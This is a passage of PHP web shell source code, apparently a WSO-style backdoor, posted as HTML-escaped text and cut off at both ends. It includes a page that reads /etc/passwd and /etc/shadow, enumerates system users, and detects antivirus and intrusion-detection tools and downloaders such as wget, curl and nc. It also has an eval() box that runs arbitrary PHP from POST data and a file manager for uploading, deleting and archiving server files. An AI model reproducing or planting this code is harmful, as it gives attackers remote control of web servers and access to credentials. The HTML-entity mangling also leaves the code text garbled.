&#8216; B&#8217;;<br \/>\n}<\/p>\n<p>function ws0Perms($p) {<br \/>\nif (($p &amp; 0xC000) == 0xC000)$i = &#8216;s&#8217;;<br \/>\nelseif (($p &amp; 0xA000) == 0xA000)$i = &#8216;l&#8217;;<br \/>\nelseif (($p &amp; 0x8000) == 0x8000)$i = &#8216;-&#8216;;<br \/>\nelseif (($p &amp; 0x6000) == 0x6000)$i = &#8216;b&#8217;;<br \/>\nelseif (($p &amp; 0x4000) == 0x4000)$i = &#8216;d&#8217;;<br \/>\nelseif (($p &amp; 0x2000) == 0x2000)$i = &#8216;c&#8217;;<br \/>\nelseif (($p &amp; 0x1000) == 0x1000)$i = &#8216;p&#8217;;<br \/>\nelse $i = &#8216;u&#8217;;<br \/>\n$i .= (($p &amp; 0x0100) ? &#8216;r&#8217; : &#8216;-&#8216;);<br \/>\n$i .= (($p &amp; 0x0080) ? &#8216;w&#8217; : &#8216;-&#8216;);<br \/>\n$i .= (($p &amp; 0x0040) ? (($p &amp; 0x0800) ? &#8216;s&#8217; : &#8216;x&#8217; ) : (($p &amp; 0x0800) ? &#8216;S&#8217; : &#8216;-&#8216;));<br \/>\n$i .= (($p &amp; 0x0020) ? &#8216;r&#8217; : &#8216;-&#8216;);<br \/>\n$i .= (($p &amp; 0x0010) ? &#8216;w&#8217; : &#8216;-&#8216;);<br \/>\n$i .= (($p &amp; 0x0008) ? (($p &amp; 0x0400) ? &#8216;s&#8217; : &#8216;x&#8217; ) : (($p &amp; 0x0400) ? &#8216;S&#8217; : &#8216;-&#8216;));<br \/>\n$i .= (($p &amp; 0x0004) ? &#8216;r&#8217; : &#8216;-&#8216;);<br \/>\n$i .= (($p &amp; 0x0002) ? &#8216;w&#8217; : &#8216;-&#8216;);<br \/>\n$i .= (($p &amp; 0x0001) ? (($p &amp; 0x0200) ? &#8216;t&#8217; : &#8216;x&#8217; ) : (($p &amp; 0x0200) ? &#8216;T&#8217; : &#8216;-&#8216;));<br \/>\nreturn $i;<br \/>\n}<\/p>\n<p>function ws0PermsColor($f) {<br \/>\nif (!@is_readable($f))<br \/>\nreturn &#8216;&lt;font color=#FF0000&gt;&#8217; . ws0Perms(@fileperms($f)) . &#8216;&lt;\/font&gt;&#8217;;<br \/>\nelseif (!@is_writable($f))<br \/>\nreturn &#8216;&lt;font color=white&gt;&#8217; . ws0Perms(@fileperms($f)) . &#8216;&lt;\/font&gt;&#8217;;<br \/>\nelse<br \/>\nreturn &#8216;&lt;font color=#25ff00&gt;&#8217; . ws0Perms(@fileperms($f)) . &#8216;&lt;\/font&gt;&#8217;;<br \/>\n}<\/p>\n<p>function ws0Scandir($dir) {<br \/>\nif(function_exists(&#8220;scandir&#8221;)) {<br \/>\nreturn scandir($dir);<br \/>\n} else {<br \/>\n$dh = opendir($dir);<br \/>\nwhile (false !== ($filename = readdir($dh)))<br \/>\n$files[] = $filename;<br \/>\nreturn $files;<br \/>\n}<br \/>\n}<\/p>\n<p>function ws0Which($p) {<br \/>\n$path = ws0Ex(&#8216;which &#8216; . $p);<br \/>\nif(!empty($path))<br \/>\nreturn $path;<br \/>\nreturn false;<br \/>\n}<\/p>\n<p>function actionSecInfo() {<br \/>\nws0Header();<br \/>\necho &#8216;&lt;h1&gt;Server security information&lt;\/h1&gt;&lt;div class=content&gt;&#8217;;<br \/>\nfunction ws0SecParam($n, $v) {<br \/>\n$v = trim($v);<br \/>\nif($v) {<br \/>\necho &#8216;&lt;span&gt;&#8217; . $n . &#8216;: &lt;\/span&gt;&#8217;;<br \/>\nif(strpos($v, &#8220;\\n&#8221;) === false)<br \/>\necho $v . &#8216;&lt;br&gt;&#8217;;<br \/>\nelse<br \/>\necho &#8216;&lt;pre class=ml1&gt;&#8217; . $v . &#8216;&lt;\/pre&gt;&#8217;;<br \/>\n}<br \/>\n}<\/p>\n<p>ws0SecParam(&#8216;Server software&#8217;, @getenv(&#8216;SERVER_SOFTWARE&#8217;));<br \/>\nif(function_exists(&#8216;apache_get_modules&#8217;))<br \/>\nws0SecParam(&#8216;Loaded Apache modules&#8217;, implode(&#8216;, &#8216;, apache_get_modules()));<br \/>\nws0SecParam(&#8216;Disabled PHP Functions&#8217;, $GLOBALS[&#8216;disable_functions&#8217;]?$GLOBALS[&#8216;disable_functions&#8217;]:&#8217;none&#8217;);<br \/>\nws0SecParam(&#8216;Open base dir&#8217;, @ini_get(&#8216;open_basedir&#8217;));<br \/>\nws0SecParam(&#8216;Safe mode exec dir&#8217;, @ini_get(&#8216;safe_mode_exec_dir&#8217;));<br \/>\nws0SecParam(&#8216;Safe mode include dir&#8217;, @ini_get(&#8216;safe_mode_include_dir&#8217;));<br \/>\nws0SecParam(&#8216;cURL support&#8217;, function_exists(&#8216;curl_version&#8217;)?&#8217;enabled&#8217;:&#8217;no&#8217;);<br \/>\n$temp=array();<br \/>\nif(function_exists(&#8216;mysql_get_client_info&#8217;))<br \/>\n$temp[] = &#8220;MySql (&#8220;.mysql_get_client_info().&#8221;)&#8221;;<br \/>\nif(function_exists(&#8216;mssql_connect&#8217;))<br \/>\n$temp[] = &#8220;MSSQL&#8221;;<br \/>\nif(function_exists(&#8216;pg_connect&#8217;))<br \/>\n$temp[] = &#8220;PostgreSQL&#8221;;<br \/>\nif(function_exists(&#8216;oci_connect&#8217;))<br \/>\n$temp[] = &#8220;Oracle&#8221;;<br \/>\nws0SecParam(&#8216;Supported databases&#8217;, implode(&#8216;, &#8216;, $temp));<br \/>\necho &#8216;&lt;br&gt;&#8217;;<\/p>\n<p>if($GLOBALS[&#8216;os&#8217;] == &#8216;nix&#8217;) {<br \/>\nws0SecParam(&#8216;Readable \/etc\/ passwd&#8217;, @is_readable(&#8216;\/etc\/pa&#8217;.&#8217;sswd&#8217;)?&#8221;yes &lt;a href=&#8217;#&#8217; onclick=&#8217;g(\\&#8221;FilesTools\\&#8221;, \\&#8221;\/etc\/\\&#8221;, \\&#8221;passwd\\&#8221;)&#8217;&gt;[view]&lt;\/a&gt;&#8221;:&#8217;no&#8217;);<br \/>\nws0SecParam(&#8216;Readable \/etc\/ shadow&#8217;, @is_readable(&#8216;\/etc\/sha&#8217;.&#8217;dow&#8217;)?&#8221;yes &lt;a href=&#8217;#&#8217; onclick=&#8217;g(\\&#8221;FilesTools\\&#8221;, \\&#8221;\/etc\/\\&#8221;, \\&#8221;shadow\\&#8221;)&#8217;&gt;[view]&lt;\/a&gt;&#8221;:&#8217;no&#8217;);<br \/>\nws0SecParam(&#8216;OS version&#8217;, @file_get_contents(&#8216;\/proc\/ve&#8217;.&#8217;rsion&#8217;));<br \/>\nws0SecParam(&#8216;Distr name&#8217;, @file_get_contents(&#8216;\/etc\/iss&#8217;.&#8217;ue.net&#8217;));<br \/>\nif(!$GLOBALS[&#8216;safe_mode&#8217;]) {<br \/>\n$userful = array(&#8216;gcc&#8217;,&#8217;lcc&#8217;,&#8217;cc&#8217;,&#8217;ld&#8217;,&#8217;make&#8217;,&#8217;php&#8217;,&#8217;perl&#8217;,&#8217;python&#8217;,&#8217;ruby&#8217;,&#8217;tar&#8217;,&#8217;gzip&#8217;,&#8217;bzip&#8217;,&#8217;bzip2&#8242;,&#8217;nc&#8217;,&#8217;locate&#8217;,&#8217;suidperl&#8217;);<br \/>\n$danger = array(&#8216;kav&#8217;,&#8217;nod32&#8242;,&#8217;bdcored&#8217;,&#8217;uvscan&#8217;,&#8217;sav&#8217;,&#8217;drwebd&#8217;,&#8217;clamd&#8217;,&#8217;rkhunter&#8217;,&#8217;chkrootkit&#8217;,&#8217;iptables&#8217;,&#8217;ipfw&#8217;,&#8217;tripwire&#8217;,&#8217;shieldcc&#8217;,&#8217;portsentry&#8217;,&#8217;snort&#8217;,&#8217;ossec&#8217;,&#8217;lidsadm&#8217;,&#8217;tcplodg&#8217;,&#8217;sxid&#8217;,&#8217;logcheck&#8217;,&#8217;logwatch&#8217;,&#8217;sysmask&#8217;,&#8217;zmbscap&#8217;,&#8217;sawmill&#8217;,&#8217;wormscan&#8217;,&#8217;ninja&#8217;);<br \/>\n$downloaders = array(&#8216;wget&#8217;,&#8217;fetch&#8217;,&#8217;lynx&#8217;,&#8217;links&#8217;,&#8217;curl&#8217;,&#8217;get&#8217;,&#8217;lwp-mirror&#8217;);<br \/>\necho &#8216;&lt;br&gt;&#8217;;<br \/>\n$temp=array();<br \/>\nforeach ($userful as $item)<br \/>\nif(ws0Which($item))<br \/>\n$temp[] = $item;<br \/>\nws0SecParam(&#8216;Userful&#8217;, implode(&#8216;, &#8216;,$temp));<br \/>\n$temp=array();<br \/>\nforeach ($danger as $item)<br \/>\nif(ws0Which($item))<br \/>\n$temp[] = $item;<br \/>\nws0SecParam(&#8216;Danger&#8217;, implode(&#8216;, &#8216;,$temp));<br \/>\n$temp=array();<br \/>\nforeach ($downloaders as $item)<br \/>\nif(ws0Which($item))<br \/>\n$temp[] = $item;<br \/>\nws0SecParam(&#8216;Downloaders&#8217;, implode(&#8216;, &#8216;,$temp));<br \/>\necho &#8216;&lt;br\/&gt;&#8217;;<br \/>\nws0SecParam(&#8216;HDD space&#8217;, ws0Ex(&#8216;df -h&#8217;));<br \/>\nws0SecParam(&#8216;Hosts&#8217;, @file_get_contents(&#8216;\/etc\/hosts&#8217;));<br \/>\necho &#8216;&lt;br\/&gt;&lt;span&gt;posix_getpwuid (&#8220;Read&#8221; \/etc\/ passwd)&lt;\/span&gt;&lt;table&gt;&lt;form onsubmit=\\&#8217;g(null,null,&#8221;5&#8243;,this.param1.value,this.param2.value);return false;\\&#8217;&gt;&lt;tr&gt;&lt;td&gt;From&lt;\/td&gt;&lt;td&gt;&lt;input type=text name=param1 value=0&gt;&lt;\/td&gt;&lt;\/tr&gt;&lt;tr&gt;&lt;td&gt;To&lt;\/td&gt;&lt;td&gt;&lt;input type=text name=param2 value=1000&gt;&lt;\/td&gt;&lt;\/tr&gt;&lt;\/table&gt;&lt;input type=submit value=&#8221;&gt;&gt;&#8221;&gt;&lt;\/form&gt;&#8217;;<br \/>\nif (isset ($_POST[&#8216;p&#8217;.&#8217;2&#8242;], $_POST[&#8216;p&#8217;.&#8217;3&#8242;]) &amp;&amp; is_numeric($_POST[&#8216;p&#8217;.&#8217;2&#8242;]) &amp;&amp; is_numeric($_POST[&#8216;p&#8217;.&#8217;3&#8242;])) {<br \/>\n$temp = &#8220;&#8221;;<br \/>\nfor(;$_POST[&#8216;p&#8217;.&#8217;2&#8242;] &lt;= $_POST[&#8216;p&#8217;.&#8217;3&#8242;];$_POST[&#8216;p&#8217;.&#8217;2&#8242;]++) {<br \/>\n$uid = @posix_getpwuid($_POST[&#8216;p&#8217;.&#8217;2&#8242;]);<br \/>\nif ($uid)<br \/>\n$temp .= join(&#8216;:&#8217;,$uid).&#8221;\\n&#8221;;<br \/>\n}<br \/>\necho &#8216;&lt;br\/&gt;&#8217;;<br \/>\nws0SecParam(&#8216;Users&#8217;, $temp);<br \/>\n}<br \/>\n}<br \/>\n} else {<br \/>\nws0SecParam(&#8216;OS Version&#8217;,ws0Ex(&#8216;ver&#8217;));<br \/>\nws0SecParam(&#8216;Account Settings&#8217;,ws0Ex(&#8216;net accounts&#8217;));<br \/>\nws0SecParam(&#8216;User Accounts&#8217;,ws0Ex(&#8216;net user&#8217;));<br \/>\n}<br \/>\necho &#8216;&lt;\/div&gt;&#8217;;<br \/>\nws0Footer();<br \/>\n}<\/p>\n<p>function actionPhp() {<br \/>\nif(isset($_POST[&#8216;ajax&#8217;])) {<br \/>\nws0setcookie(md5($_SERVER[&#8216;HTTP_HOST&#8217;]) . &#8216;ajax&#8217;, true);<br \/>\nob_start();<br \/>\neval($_POST[&#8216;p&#8217;.&#8217;1&#8242;]);<br \/>\n$temp = &#8220;document.getElementById(&#8216;PhpOutput&#8217;).style.display=&#8221;;document.getElementById(&#8216;PhpOutput&#8217;).innerHTML='&#8221; . addcslashes(htmlspecialchars(ob_get_clean()), &#8220;\\n\\r\\t\\\\&#8217;\\0&#8221;) . &#8220;&#8216;;\\n&#8221;;<br \/>\necho strlen($temp), &#8220;\\n&#8221;, $temp;<br \/>\nexit;<br \/>\n}<br \/>\nif(empty($_POST[&#8216;ajax&#8217;]) &amp;&amp; !empty($_POST[&#8216;p&#8217;.&#8217;1&#8242;]))<br \/>\nws0setcookie(md5($_SERVER[&#8216;HTTP_HOST&#8217;]) . &#8216;ajax&#8217;, 0);<\/p>\n<p>ws0Header();<br \/>\nif(isset($_POST[&#8216;p&#8217;.&#8217;2&#8242;]) &amp;&amp; ($_POST[&#8216;p&#8217;.&#8217;2&#8242;] == &#8216;info&#8217;)) {<br \/>\necho &#8216;&lt;h1&gt;PHP info&lt;\/h1&gt;&lt;div class=content&gt;&lt;style&gt;.p {color:#000;}&lt;\/style&gt;&#8217;;<br \/>\nob_start();<br \/>\nphpinfo();<br \/>\n$tmp = ob_get_clean();<br \/>\n$tmp = preg_replace(array (<br \/>\n&#8216;!(body|a:\\w+|body, td, th, h1, h2) {.*}!msiU&#8217;,<br \/>\n&#8216;!td, th {(.*)}!msiU&#8217;,<br \/>\n&#8216;!&lt;img[^&gt;]+&gt;!msiU&#8217;,<br \/>\n), array (<br \/>\n&#8221;,<br \/>\n&#8216;.e, .v, .h, .h th {$1}&#8217;,<br \/>\n&#8221;<br \/>\n), $tmp);<br \/>\necho str_replace(&#8216;&lt;h1&#8242;,'&lt;h2&#8242;, $tmp) .'&lt;\/div&gt;&lt;br&gt;&#8217;;<br \/>\n}<br \/>\necho &#8216;&lt;h1&gt;Execution PHP-code&lt;\/h1&gt;&lt;div class=content&gt;&lt;form name=pf method=post onsubmit=&#8221;if(this.ajax.checked){a(\\&#8217;Php\\&#8217;,null,this.code.value);}else{g(\\&#8217;Php\\&#8217;,null,this.code.value,\\&#8217;\\&#8217;);}return false;&#8221;&gt;&lt;textarea name=code class=bigarea id=PhpCode&gt;&#8217;.(!empty($_POST[&#8216;p&#8217;.&#8217;1&#8242;])?htmlspecialchars($_POST[&#8216;p&#8217;.&#8217;1&#8242;]):&#8221;).'&lt;\/textarea&gt;&lt;input type=submit value=Eval style=&#8221;margin-top:5px&#8221;&gt;&#8217;;<br \/>\necho &#8216; &lt;input type=checkbox name=ajax value=1 &#8216;.($_COOKIE[md5($_SERVER[&#8216;HTTP_HOST&#8217;]).&#8217;ajax&#8217;]?&#8217;checked&#8217;:&#8221;).&#8217;&gt; send using AJAX&lt;\/form&gt;&lt;pre id=PhpOutput style=&#8221;&#8216;.(empty($_POST[&#8216;p&#8217;.&#8217;1&#8242;])?&#8217;display:none;&#8217;:&#8221;).&#8217;margin-top:5px;&#8221; class=ml1&gt;&#8217;;<br \/>\nif(!empty($_POST[&#8216;p&#8217;.&#8217;1&#8242;])) {<br \/>\nob_start();<br \/>\neval($_POST[&#8216;p&#8217;.&#8217;1&#8242;]);<br \/>\necho htmlspecialchars(ob_get_clean());<br \/>\n}<br \/>\necho &#8216;&lt;\/pre&gt;&lt;\/div&gt;&#8217;;<br \/>\nws0Footer();<br \/>\n}<\/p>\n<p>function actionflmn() {<br \/>\nif (!empty ($_COOKIE[&#8216;f&#8217;]))<br \/>\n$_COOKIE[&#8216;f&#8217;] = @unserialize($_COOKIE[&#8216;f&#8217;]);<\/p>\n<p>if(!empty($_POST[&#8216;p&#8217;.&#8217;1&#8242;])) {<br \/>\nswitch($_POST[&#8216;p&#8217;.&#8217;1&#8242;]) {<br \/>\ncase &#8216;uploadFile&#8217;:<br \/>\nif(!@move_uploaded_file($_FILES[&#8216;f&#8217;][&#8216;tmp_name&#8217;], $_FILES[&#8216;f&#8217;][&#8216;name&#8217;]))<br \/>\necho &#8220;Can&#8217;t upload file!&#8221;;<br \/>\nbreak;<br \/>\ncase &#8216;mkdir&#8217;:<br \/>\nif(!@mkdir($_POST[&#8216;p&#8217;.&#8217;2&#8242;]))<br \/>\necho &#8220;Can&#8217;t create new dir&#8221;;<br \/>\nbreak;<br \/>\ncase &#8216;delete&#8217;:<br \/>\nfunction deleteDir($path) {<br \/>\n$path = (substr($path,-1)==&#8217;\/&#8217;) ? $path:$path.&#8217;\/&#8217;;<br \/>\n$dh = opendir($path);<br \/>\nwhile ( ($item = readdir($dh) ) !== false) {<br \/>\n$item = $path.$item;<br \/>\nif ( (basename($item) == &#8220;..&#8221;) || (basename($item) == &#8220;.&#8221;) )<br \/>\ncontinue;<br \/>\n$type = filetype($item);<br \/>\nif ($type == &#8220;dir&#8221;)<br \/>\ndeleteDir($item);<br \/>\nelse<br \/>\n@unlink($item);<br \/>\n}<br \/>\nclosedir($dh);<br \/>\n@rmdir($path);<br \/>\n}<br \/>\nif(is_array(@$_POST[&#8216;f&#8217;]))<br \/>\nforeach($_POST[&#8216;f&#8217;] as $f) {<br \/>\nif($f == &#8216;..&#8217;)<br \/>\ncontinue;<br \/>\n$f = urldecode($f);<br \/>\nif(is_dir($f))<br \/>\ndeleteDir($f);<br \/>\nelse<br \/>\n@unlink($f);<br \/>\n}<br \/>\nbreak;<br \/>\ncase &#8216;paste&#8217;:<br \/>\nif($_COOKIE[&#8216;act&#8217;] == &#8216;copy&#8217;) {<br \/>\nfunction copy_paste($c,$s,$d){<br \/>\nif(is_dir($c.$s)){<br \/>\nmkdir($d.$s);<br \/>\n$h = @opendir($c.$s);<br \/>\nwhile (($f = @readdir($h)) !== false)<br \/>\nif (($f != &#8220;.&#8221;) and ($f != &#8220;..&#8221;))<br \/>\ncopy_paste($c.$s.&#8217;\/&#8217;,$f, $d.$s.&#8217;\/&#8217;);<br \/>\n} elseif(is_file($c.$s))<br \/>\n@copy($c.$s, $d.$s);<br \/>\n}<br \/>\nforeach($_COOKIE[&#8216;f&#8217;] as $f)<br \/>\ncopy_paste($_COOKIE[&#8216;c&#8217;],$f, $GLOBALS[&#8216;cwd&#8217;]);<br \/>\n} elseif($_COOKIE[&#8216;act&#8217;] == &#8216;move&#8217;) {<br \/>\nfunction move_paste($c,$s,$d){<br \/>\nif(is_dir($c.$s)){<br \/>\nmkdir($d.$s);<br \/>\n$h = @opendir($c.$s);<br \/>\nwhile (($f = @readdir($h)) !== false)<br \/>\nif (($f != &#8220;.&#8221;) and ($f != &#8220;..&#8221;))<br \/>\ncopy_paste($c.$s.&#8217;\/&#8217;,$f, $d.$s.&#8217;\/&#8217;);<br \/>\n} elseif(@is_file($c.$s))<br \/>\n@copy($c.$s, $d.$s);<br \/>\n}<br \/>\nforeach($_COOKIE[&#8216;f&#8217;] as $f)<br \/>\n@rename($_COOKIE[&#8216;c&#8217;].$f, $GLOBALS[&#8216;cwd&#8217;].$f);<br \/>\n} elseif($_COOKIE[&#8216;act&#8217;] == &#8216;zip&#8217;) {<br \/>\nif(class_exists(&#8216;ZipArchive&#8217;)) {<br \/>\n$zip = new ZipArchive();<br \/>\nif ($zip-&gt;open($_POST[&#8216;p&#8217;.&#8217;2&#8242;], 1)) {<br \/>\nchdir($_COOKIE[&#8216;c&#8217;]);<br \/>\nforeach($_COOKIE[&#8216;f&#8217;] as $f) {<br \/>\nif($f == &#8216;..&#8217;)<br \/>\ncontinue;<br \/>\nif(@is_file($_COOKIE[&#8216;c&#8217;].$f))<br \/>\n$zip-&gt;addFile($_COOKIE[&#8216;c&#8217;].$f, $f);<br \/>\nelseif(@is_dir($_COOKIE[&#8216;c&#8217;].$f)) {<br \/>\n$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.&#8217;\/&#8217;, FilesystemIterator::SKIP_DOTS));<br \/>\nforeach ($iterator as $key=&gt;$value) {<br \/>\n$zip-&gt;addFile(realpath($key), $key);<br \/>\n}<br \/>\n}<br \/>\n}<br \/>\nchdir($GLOBALS[&#8216;cwd&#8217;]);<br \/>\n$zip-&gt;close();<br \/>\n}<br \/>\n}<br \/>\n} elseif($_COOKIE[&#8216;act&#8217;] == &#8216;unzip&#8217;) {<br \/>\nif(class_exists(&#8216;ZipArchive&#8217;)) {<br \/>\n$zip = new ZipArchive();<br \/>\nforeach($_COOKIE[&#8216;f&#8217;] as $f) {<br \/>\nif($zip-&gt;open($_COOKIE[&#8216;c&#8217;].$f)) {<br \/>\n$zip-&gt;extractTo($GLOBALS[&#8216;cwd&#8217;]);<br \/>\n$zip-&gt;close();<br \/>\n}<br \/>\n}<br \/>\n}<br \/>\n} elseif($_COOKIE[&#8216;act&#8217;] == &#8216;tar&#8217;) {<br \/>\nchdir($_COOKIE[&#8216;c&#8217;]);<br \/>\n$_COOKIE[&#8216;f&#8217;] = array_map(&#8216;escapeshellarg&#8217;, $_COOKIE[&#8216;f&#8217;]);<br \/>\nws0Ex(&#8216;tar cfzv &#8216; . escapeshellarg($_POST[&#8216;p&#8217;.&#8217;2&#8242;]) . &#8216; &#8216; . implode(&#8216; &#8216;, $_COOKIE[&#8216;f&#8217;]));<br \/>\nchdir($GLOBALS[&#8216;cwd&#8217;]);<br \/>\n}<br \/>\nunset($_COOKIE[&#8216;f&#8217;]);<br \/>\nsetcookie(&#8216;f&#8217;, &#8221;, time() &#8211; 3600);<br \/>\nbreak;<br \/>\ndefault:<br \/>\nif(!empty($_POST[&#8216;p&#8217;.&#8217;1&#8242;])) {<br \/>\nws0setcookie(&#8216;act&#8217;, $_POST[&#8216;p&#8217;.&#8217;1&#8242;]);<br \/>\nws0setcookie(&#8216;f&#8217;, serialize(@$_POST[&#8216;f&#8217;]));<br \/>\nws0setcookie(&#8216;c&#8217;, @$_POST[&#8216;c&#8217;]);<br \/>\n}<br \/>\nbreak;<br \/>\n}<br \/>\n}<br \/>\nws0Header();<br \/>\necho &#8216;&lt;h1&gt;File manager&lt;\/h1&gt;&lt;div class=content&gt;&lt;script&gt;p1_=p2_=p3_=&#8221;&#8221;;&lt;\/script&gt;&#8217;;<br \/>\n$dirContent = ws0Scandir(isset($_POST[&#8216;c&#8217;])?$_POST[&#8216;c&#8217;]:$GLOBALS[&#8216;cwd&#8217;]);<br \/>\nif($dirContent === false) { echo &#8216;Can\\&#8217;t open this folder!&#8217;;ws0Footer(); return; }<br \/>\nglobal $sort;<br \/>\n$sort = array(&#8216;name&#8217;, 1);<br \/>\nif(!empty($_POST[&#8216;p&#8217;.&#8217;1&#8242;])) {<br \/>\nif(preg_match(&#8216;!s_([A-z]+)_(\\d{1})!&#8217;, $_POST[&#8216;p&#8217;.&#8217;1&#8242;], $match))<br \/>\n$sort = array($match[1], (int)$match[2]);<br \/>\n}<br \/>\necho &#8220;&lt;script&gt;<br \/>\nfunction sa() {<br \/>\nfor(i=0;i&lt;d.files.elements.length;i++)<br \/>\nif(d.files.elements[i].type == &#8216;checkbox&#8217;)<br \/>\nd.files.elements[i].checked = d.files.elements[0].checked;<br \/>\n}<br \/>\n&lt;\/script&gt;<br \/>\n&lt;table width=&#8217;100%&#8217; class=&#8217;main&#8217; cellspacing=&#8217;0&#8242; cellpadding=&#8217;2&#8242;&gt;<br \/>\n&lt;form name=files method=post&gt;&lt;tr&gt;&lt;th width=&#8217;13px&#8217;&gt;&lt;input type=checkbox onclick=&#8217;sa()&#8217; class=chkbx&gt;&lt;\/th&gt;&lt;th&gt;&lt;a href=&#8217;#&#8217; onclick=&#8217;g(\\&#8221;flmn\\&#8221;,null,\\&#8221;s_name_&#8221;.($sort[1]?0:1).&#8221;\\&#8221;)&#8217;&gt;Name&lt;\/a&gt;&lt;\/th&gt;&lt;th&gt;&lt;a href=&#8217;#&#8217; onclick=&#8217;g(\\&#8221;flmn\\&#8221;,null,\\&#8221;s_size_&#8221;.($sort[1]?0:1).&#8221;\\&#8221;)&#8217;&gt;Size&lt;\/a&gt;&lt;\/th&gt;&lt;th&gt;&lt;a href=&#8217;#&#8217; onclick=&#8217;g(\\&#8221;flmn\\&#8221;,null,\\&#8221;s_modify_&#8221;.($sort[1]?0:1).&#8221;\\&#8221;)&#8217;&gt;Modify&lt;\/a&gt;&lt;\/th&gt;&lt;th&gt;Owner\/Group&lt;\/th&gt;&lt;th&gt;&lt;a href=&#8217;#&#8217; onclick=&#8217;g(\\&#8221;flmn\\&#8221;,null,\\&#8221;s_perms_&#8221;.($sort[1]?0:1).&#8221;\\&#8221;)&#8217;&gt;Permissions&lt;\/a&gt;&lt;\/th&gt;&lt;th&gt;Actions&lt;\/th&gt;&lt;\/tr&gt;&#8221;;<br \/>\n$dirs = $files = array();<br \/>\n$n = count($dirContent);<br \/>\nfor($i=0;$i&lt;$n;$i++) {<br \/>\n$ow = @posix_getpwuid(@fileowner($dirContent[$i]));<br \/>\n$gr = @posix_getgrgid(@filegroup($dirContent[$i]));<br \/>\n$tmp = array(&#8216;name&#8217; =&gt; $dirContent[$i],<br \/>\n&#8216;path&#8217; =&gt; $GLOBALS[&#8216;cwd&#8217;].$dirContent[$i],<br \/>\n&#8216;modify&#8217; =&gt; date(&#8216;Y-m-d H:i:s&#8217;, @filemtime($GLOBALS[&#8216;cwd&#8217;] . $dirContent[$i])),<br \/>\n&#8216;perms&#8217; =&gt; ws0PermsColor($GLOBALS[&#8216;cwd&#8217;] . $dirContent[$i]),<br \/>\n&#8216;size&#8217; =&gt; @filesize($GLOBALS[&#8216;cwd&#8217;].$dirContent[$i]),<br \/>\n&#8216;owner&#8217; =&gt; $ow[&#8216;name&#8217;]?$ow[&#8216;name&#8217;]:@fileowner($dirContent[$i]),<br \/>\n&#8216;group&#8217; =&gt; $gr[&#8216;name&#8217;]?$gr[&#8216;name&#8217;]:@filegroup($dirContent[$i])<br \/>\n);<br \/>\nif(@is_file($GLOBALS[&#8216;cwd&#8217;] . $dirContent[$i]))<br \/>\n$files[] = array_merge($tmp, array(&#8216;type&#8217; =&gt; &#8216;file&#8217;));<br \/>\nelseif(@is_link($GLOBALS[&#8216;cwd&#8217;] . $dirContent[$i]))<br \/>\n$dirs[] = array_merge($tmp, array(&#8216;type&#8217; =&gt; &#8216;link&#8217;, &#8216;link&#8217; =&gt; readlink($tmp[&#8216;path&#8217;])));<br \/>\nelseif(@is_dir($GLOBALS[&#8216;cwd&#8217;] . $dirContent[$i]))<br \/>\n$dirs[] = array_merge($tmp, array(&#8216;type&#8217; =&gt; &#8216;dir&#8217;));<br \/>\n}<br \/>\n$GLOBALS[&#8216;sort&#8217;] = $sort;<br \/>\nfunction ws0Cmp($a, $b) {<br \/>\nif($GLOBALS[&#8216;sort&#8217;][0] != &#8216;size&#8217;)<br \/>\nreturn strcmp(strtolower($a[$GLOBALS[&#8216;sort&#8217;][0]]), strtolower($b[$GLOBALS[&#8216;sort&#8217;][0]]))*($GLOBALS[&#8216;sort&#8217;][1]?1:-1);<br \/>\nelse<br \/>\nreturn (($a[&#8216;size&#8217;] &lt; $b[&#8216;size&#8217;]) ? -1 : 1)*($GLOBALS[&#8216;sort&#8217;][1]?1:-1);<br \/>\n}<br \/>\nusort($files, &#8220;ws0Cmp&#8221;);<br \/>\nusort($dirs, &#8220;ws0Cmp&#8221;);<br \/>\n$files = array_merge($dirs, $files);<br \/>\n$l = 0;<br \/>\nforeach($files as $f) {<br \/>\necho &#8216;&lt;tr&#8217;.($l?&#8217; class=l1&#8242;:&#8221;).&#8217;&gt;&lt;td&gt;&lt;input type=checkbox name=&#8221;f[]&#8221; value=&#8221;&#8216;.urlencode($f[&#8216;name&#8217;]).'&#8221; class=chkbx&gt;&lt;\/td&gt;&lt;td&gt;&lt;a href=# onclick=&#8221;&#8216;.(($f[&#8216;type&#8217;]==&#8217;file&#8217;)?&#8217;g(\\&#8217;FilesTools\\&#8217;,null,\\&#8221;.urlencode($f[&#8216;name&#8217;]).&#8217;\\&#8217;, \\&#8217;view\\&#8217;)&#8221;&gt;&#8217;.htmlspecialchars($f[&#8216;name&#8217;]):&#8217;g(\\&#8217;flmn\\&#8217;,\\&#8221;.$f[&#8216;path&#8217;].&#8217;\\&#8217;);&#8221; &#8216; . (empty ($f[&#8216;link&#8217;]) ? &#8221; : &#8220;title='{$f[&#8216;link&#8217;]}'&#8221;) . &#8216;&gt;&lt;b&gt;[ &#8216; . htmlspecialchars($f[&#8216;name&#8217;]) . &#8216; ]&lt;\/b&gt;&#8217;).'&lt;\/a&gt;&lt;\/td&gt;&lt;td&gt;&#8217;.(($f[&#8216;type&#8217;]==&#8217;file&#8217;)?ws0ViewSize($f[&#8216;size&#8217;]):$f[&#8216;type&#8217;]).'&lt;\/td&gt;&lt;td&gt;&#8217;.$f[&#8216;modify&#8217;].'&lt;\/td&gt;&lt;td&gt;&#8217;.$f[&#8216;owner&#8217;].&#8217;\/&#8217;.$f[&#8216;group&#8217;].'&lt;\/td&gt;&lt;td&gt;&lt;a href=# onclick=&#8221;g(\\&#8217;FilesTools\\&#8217;,null,\\&#8221;.urlencode($f[&#8216;name&#8217;]).&#8217;\\&#8217;,\\&#8217;chmod\\&#8217;)&#8221;&gt;&#8217;.$f[&#8216;perms&#8217;]<br \/>\n.'&lt;\/td&gt;&lt;td&gt;&lt;a href=&#8221;#&#8221; onclick=&#8221;g(\\&#8217;FilesTools\\&#8217;,null,\\&#8221;.urlencode($f[&#8216;name&#8217;]).&#8217;\\&#8217;, \\&#8217;rename\\&#8217;)&#8221;&gt;R&lt;\/a&gt; &lt;a href=&#8221;#&#8221; onclick=&#8221;g(\\&#8217;FilesTools\\&#8217;,null,\\&#8221;.urlencode($f[&#8216;name&#8217;]).&#8217;\\&#8217;, \\&#8217;touch\\&#8217;)&#8221;&gt;T&lt;\/a&gt;&#8217;.(($f[&#8216;type&#8217;]==&#8217;file&#8217;)?&#8217; &lt;a href=&#8221;#&#8221; onclick=&#8221;g(\\&#8217;FilesTools\\&#8217;,null,\\&#8221;.urlencode($f[&#8216;name&#8217;]).&#8217;\\&#8217;, \\&#8217;edit\\&#8217;)&#8221;&gt;E&lt;\/a&gt; &lt;a href=&#8221;#&#8221; 